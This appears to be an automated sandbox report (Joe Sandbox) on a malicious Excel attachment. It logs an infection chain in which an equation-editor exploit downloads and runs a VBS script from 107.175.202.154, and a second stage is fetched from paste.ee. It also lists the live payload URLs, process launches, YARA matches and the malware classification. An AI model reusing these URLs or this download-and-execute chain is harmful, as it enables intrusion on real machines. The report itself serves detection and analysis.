Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 107.175.202.154:80
Source: global traffic	TCP traffic: 107.175.202.154:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.84.67:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.175.202.154:80

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe	Network Connect: 104.21.84.67 80			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Domain query: paste.ee

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 10_2_034205EC URLDownloadToFileW,ShellExecuteW,ExitProcess,

10_2_034205EC

Source: Joe Sandbox View

IP Address: 104.21.84.67 104.21.84.67

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic	HTTP traffic detected: GET /rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.175.202.154Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /46900/loveforsave.vbs HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.175.202.154Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/enGXm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee

Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.202.154

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 10_2_034205EC URLDownloadToFileW,ShellExecuteW,ExitProcess,

10_2_034205EC

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B3AD4937.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.175.202.154Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /46900/loveforsave.vbs HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.175.202.154Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/enGXm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee

Source: unknown

DNS traffic detected: queries for: paste.ee

Source: EQNEDT32.EXE, 0000000A.00000002.430879838.000000000054F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.175.202.154/46900/loveforsave.vbs$
Source: EQNEDT32.EXE, 0000000A.00000002.430879838.000000000054F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.175.202.154/46900/loveforsave.vbsalt
Source: EQNEDT32.EXE, 0000000A.00000002.431072220.0000000003420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.175.202.154/46900/loveforsave.vbsj
Source: EQNEDT32.EXE, 0000000A.00000002.430879838.000000000054F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.175.202.154/46900/loveforsave.vbsppC:
Source: rmc on 107.175.202.154.url.4.dr	String found in binary or memory: http://107.175.202.154/rmc/
Source: Product list 0980DF098A7.xls	String found in binary or memory: http://107.175.202.154/rmc/beautifulpeop
Source: E6630000.0.dr, beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC.url.4.dr, ~DFF965D8A88A314F5E.TMP.0.dr	String found in binary or memory: http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnolog
Source: wscript.exe, 0000000B.00000003.499402058.000000000080D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee/d/enGXmnged

System Summary

Malicious sample detected (through community Yara rule)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C5290082.doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto[1].doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4

Screenshot OCR: document is protected 14 15 16 17 N 18 ,,, 19 "' P., 20 Open 1hec$ixumem If cNs ckxjwmn: cmc

Excel sheet contains many unusual embedded objects

Source: Product list 0980DF098A7.xls	OLE: Microsoft Excel 2007+
Source: ~DFEFFADDDE27C7E550.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: E6630000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC.url			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\rmc on 107.175.202.154.url			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\ProgID

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write			Jump to behavior

Source: Product list 0980DF098A7.xls

OLE indicator, VBA macros: true

Source: Product list 0980DF098A7.xls	Stream path 'MBD0001472A/\x1Ole' : http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC<n)r:s.~)53wxclKVQX1EPLzmKEtGGSP5soLy3cKkAX4Kqu44NFLavMeLxqrVPZljGQMi3QJkJvWTqkfdauyBvWLe7yK1shoiR1gOPrsRs0nQHsFWqFVT1y2GWdeI0sE293ePs2xKziJsKl3IwJur1mIop2QCp2YsFCflVw0JplfAhjugddC6UxgMh0LXls2TTqYDCVVKctvJg3VWr7noPIPlvigatAnEmUK97UROcbKvwwFpP5X8FbVNGajGecYr3AMZBlYcto&3bQ'EpD*
Source: E6630000.0.dr	Stream path 'MBD0001472A/\x1Ole' : http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doCyX;H,]'cF[~``

Source: ~DFEFFADDDE27C7E550.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{9884DA1E-FD29-4340-AB77-A6BEF9386CEC}.tmp.4.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C5290082.doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto[1].doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@14/45@2/2

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR9B06.tmp

Jump to behavior

Source: Product list 0980DF098A7.xls	OLE indicator, Workbook stream: true
Source: E6630000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Product list 0980DF098A7.xls

Virustotal: Detection: 18%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs"	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: ~DFEFFADDDE27C7E550.TMP.0.dr

Initial sample: OLE indicators vbamacros = False

Source: Product list 0980DF098A7.xls

Initial sample: OLE indicators encrypted = True

Persistence and Installation Behavior

Microsoft Office launches external ms-search protocol handler (WebDAV)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\107.175.202.154\DavWWWRoot			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\107.175.202.154\DavWWWRoot			Jump to behavior

Office viewer loads remote template

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 10_2_034205EC URLDownloadToFileW,ShellExecuteW,ExitProcess,

10_2_034205EC

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
